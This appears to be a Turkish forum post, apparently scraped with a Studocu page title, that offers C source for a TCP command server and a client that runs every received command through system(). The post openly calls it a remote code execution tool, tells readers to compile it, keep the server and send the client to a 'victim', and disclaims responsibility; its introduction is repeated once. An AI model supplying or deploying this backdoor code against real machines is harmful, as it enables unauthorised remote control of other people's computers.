Selam Dostlar Bugünkü Konumda Sizlere C Kodu Vereceğim.
Bu Kod Server Üzerinden Cliente Komutları Gönderir Ve Client'de Bu Komutları Kurbanın Bilgisayarında Çalıştırır.
Örneğin Serveri Çalıştıran Cihazda Komut Yazma İnput'u Olur Bu input'a Girilen Bütün Komut Cliente Gönderilir Ve Clientin Açık Olduğu Cihazda Bu Yazdığımız Komutlar Çalıştırılır Bu Sayede Farklı Cihazlara Uzaktan Kod Yürütme Yetkisi Sağlanmış Olur.
SERVER
CLİENT
Tek Yapmanız Gereken Şey Kodu Derledikten Sonra Serveri Kendinizde Açıp Clientide Kurbana Yollamak.
Not: Yapılan Her Hangi Bir Şeyden Sorumlu Değilim Bütün Sorumluluk Yapana Aittir.
www.studocu.com
Bu Kod Server Üzerinden Cliente Komutları Gönderir Ve Client'de Bu Komutları Kurbanın Bilgisayarında Çalıştırır.
Örneğin Serveri Çalıştıran Cihazda Komut Yazma İnput'u Olur Bu input'a Girilen Bütün Komut Cliente Gönderilir Ve Clientin Açık Olduğu Cihazda Bu Yazdığımız Komutlar Çalıştırılır Bu Sayede Farklı Cihazlara Uzaktan Kod Yürütme Yetkisi Sağlanmış Olur.
SERVER
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
#define BUFFER_SIZE 1024
int main() {
int server_fd, client_fd;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
char buffer[BUFFER_SIZE];
// Create server socket
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
perror("socket creation failed");
exit(1);
}
// Set server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr);
// Bind server socket
if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("bind failed");
exit(1);
}
// Listen for client connections
if (listen(server_fd, 3) < 0) {
perror("listen failed");
exit(1);
}
printf("Server listening on port %d...\n", PORT);
// Accept client connection
client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &client_len);
if (client_fd < 0) {
perror("accept failed");
exit(1);
}
printf("Client connected...\n");
while (1) {
printf("Enter command: ");
fgets(buffer, BUFFER_SIZE, stdin);
send(client_fd, buffer, strlen(buffer), 0);
}
return 0;
}
CLİENT
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
#define BUFFER_SIZE 1024
int main() {
int client_fd;
struct sockaddr_in server_addr;
char buffer[BUFFER_SIZE];
// Create client socket
client_fd = socket(AF_INET, SOCK_STREAM, 0);
if (client_fd < 0) {
perror("socket creation failed");
exit(1);
}
// Set server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr);
// Connect to server
if (connect(client_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("connect failed");
exit(1);
}
printf("Connected to server...\n");
while (1) {
recv(client_fd, buffer, BUFFER_SIZE, 0);
printf("Received command: %s", buffer);
system(buffer); // Execute command
}
return 0;
}
Tek Yapmanız Gereken Şey Kodu Derledikten Sonra Serveri Kendinizde Açıp Clientide Kurbana Yollamak.
Not: Yapılan Her Hangi Bir Şeyden Sorumlu Değilim Bütün Sorumluluk Yapana Aittir.
Full-lab-manuel - full lab - 1 CLIENT SERVER BASED TCP APPLICATION USING LINUX SOCKET PROGRAMMING - Studocu
Share free summaries, lecture notes, exam prep and more!!
Moderatör tarafında düzenlendi:


